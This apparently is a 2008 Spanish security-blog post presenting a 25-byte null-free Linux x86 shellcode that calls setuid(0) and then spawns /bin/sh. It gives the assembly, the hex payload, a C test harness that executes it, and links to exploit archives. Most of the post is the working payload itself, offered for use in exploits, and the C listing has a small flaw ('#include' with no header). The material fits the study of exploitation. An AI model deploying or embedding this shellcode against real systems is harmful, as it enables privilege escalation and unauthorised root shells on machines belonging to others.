POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/
Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.
La más pequeña hasta la fecha.
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL
History:
+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-
setuid0-execvebinsh00-shellcode-without-null/
+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)
http://packetstormsecurity.org/filedesc/
smallest_setuid_execve_sc.c.html
v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include
const char shellcode[]= "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";
int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@opensec.es"
"\n\t + http://opensec.es"
"\n\n[+] Date: 22/11/2008"
"\n\n[+] Thanks to: vlan7"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt





Ultimos Comentarios